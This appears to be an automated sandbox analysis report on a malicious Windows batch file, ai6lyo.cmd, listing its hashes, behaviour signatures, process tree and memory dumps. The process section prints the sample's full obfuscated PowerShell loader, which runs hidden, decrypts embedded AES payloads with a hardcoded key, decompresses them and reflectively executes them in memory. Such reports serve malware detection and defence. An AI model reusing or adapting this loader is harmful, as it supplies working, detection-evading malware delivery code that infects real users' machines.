Analysis

  • max time kernel
    119s
  • max time network
    126s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    31-10-2024 15:45

General

  • Target

    ai6lyo.cmd

  • Size

    1.6MB

  • MD5

    0f8ecd82f53888d03ee36e78225181fb

  • SHA1

    3abe8ed58265316c75158065443a6318a6318f9d

  • SHA256

    ce508fa9511aa4309eac4918f01af343cdd2bce0c73e9bce9e4206a13582e17d

  • SHA512

    aae702e1479c0fc780e3f8ff9933c396df79e5b753eda570c6b0d3b95091bbfe2b0bfab408279b9f9cf350022d69904c94cb2b543fc3d5f221557e1b80b5994e

  • SSDEEP

    24576:KZHDpueS6SQJIkbxXB8PYnzvqaUgGKWGO+rXnarj2kFbrHHmQKnPd9ygZ3nalxEE:m79v9PiZdDDasP

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\ai6lyo.cmd"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1796
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo cls;powershell -w hidden;function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::FromBase64String('ONtjvMqqcp75ptvrr9j0+odlpmHmbLzvPC2XW4Gf9+M='); $aes_var.IV=[System.Convert]::FromBase64String('47rSMPYtNq+Nh4BU6nAwCw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ IEX '$gQudi=New-Object System.IO.M*em*or*yS*tr*ea*m(,$param_var);'.Replace('*', ''); IEX '$LEOeX=New-Object System.IO.*M*e*m*o*r*y*S*t*r*e*a*m*;'.Replace('*', ''); IEX '$FqtiG=New-Object System.IO.C*om*pr*e*ss*io*n.*GZ*ip*St*re*am*($gQudi, [IO.C*om*pr*es*si*on*.Co*mp*re*ss*i*o*n*Mode]::D*e*c*omp*re*ss);'.Replace('*', ''); $FqtiG.CopyTo($LEOeX); $FqtiG.Dispose(); $gQudi.Dispose(); $LEOeX.Dispose(); $LEOeX.ToArray();}function execute_function($param_var,$param2_var){ IEX '$RIFHK=[System.R*e*fl*ect*io*n.*As*se*mb*l*y*]::L*o*a*d*([byte[]]$param_var);'.Replace('*', ''); IEX '$eirEp=$RIFHK.*E*n*t*r*y*P*o*i*n*t*;'.Replace('*', ''); IEX '$eirEp.*I*n*v*o*k*e*($null, $param2_var);'.Replace('*', '');}$FuLWv = 'C:\Users\Admin\AppData\Local\Temp\ai6lyo.cmd';$host.UI.RawUI.WindowTitle = $FuLWv;$SYigU=[System.IO.File]::ReadAllText($FuLWv).Split([Environment]::NewLine);foreach ($LWTox in $SYigU) { if ($LWTox.StartsWith('acqDyQRLClHWQnbxiXNC')) { $BDNyI=$LWTox.Substring(20); break; }}$payloads_var=[string[]]$BDNyI.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));$payload3_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[2].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var $null;execute_function $payload3_var (,[string[]] ('')); "
      2⤵
        PID:2456
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2468

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/2468-4-0x000007FEF5ADE000-0x000007FEF5ADF000-memory.dmp

      Filesize

      4KB

    • memory/2468-5-0x000000001B580000-0x000000001B862000-memory.dmp

      Filesize

      2.9MB

    • memory/2468-6-0x000007FEF5820000-0x000007FEF61BD000-memory.dmp

      Filesize

      9.6MB

    • memory/2468-7-0x00000000027A0000-0x00000000027A8000-memory.dmp

      Filesize

      32KB

    • memory/2468-8-0x000007FEF5820000-0x000007FEF61BD000-memory.dmp

      Filesize

      9.6MB

    • memory/2468-9-0x000007FEF5820000-0x000007FEF61BD000-memory.dmp

      Filesize

      9.6MB

    • memory/2468-10-0x000007FEF5820000-0x000007FEF61BD000-memory.dmp

      Filesize

      9.6MB

    • memory/2468-11-0x000007FEF5820000-0x000007FEF61BD000-memory.dmp

      Filesize

      9.6MB

    • memory/2468-12-0x000007FEF5ADE000-0x000007FEF5ADF000-memory.dmp

      Filesize

      4KB

    • memory/2468-13-0x000007FEF5820000-0x000007FEF61BD000-memory.dmp

      Filesize

      9.6MB